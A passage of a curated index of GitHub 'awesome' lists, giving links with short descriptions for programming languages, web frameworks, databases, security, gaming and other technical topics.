- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
